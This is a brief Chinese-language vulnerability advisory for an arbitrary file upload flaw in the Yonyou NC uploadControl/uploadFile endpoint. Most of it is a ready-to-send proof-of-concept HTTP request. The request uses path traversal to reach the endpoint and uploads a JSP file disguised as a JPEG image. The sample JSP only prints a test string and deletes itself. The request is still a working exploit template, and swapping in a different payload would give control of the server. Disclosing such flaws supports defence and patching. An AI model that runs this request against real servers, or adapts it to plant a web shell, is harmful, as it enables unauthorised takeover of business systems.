用友NC /uploadControl/uploadFile 接口存在任意文件上传漏洞

日期: 2023-10-07 | 影响软件: 用友NC | POC: 已公开

漏洞描述

用友 NC uploadControl_uploadFile 存在任意文件上传漏洞，攻击者可利用该漏洞获取服务器权限。

PoC代码

POST /mp/initcfg/../uploadControl/uploadFile HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Content-Length: 369

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file"; filename="oopwxv.jsp"
Content-Type: image/jpeg

<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarygcflwtei--

相关漏洞推荐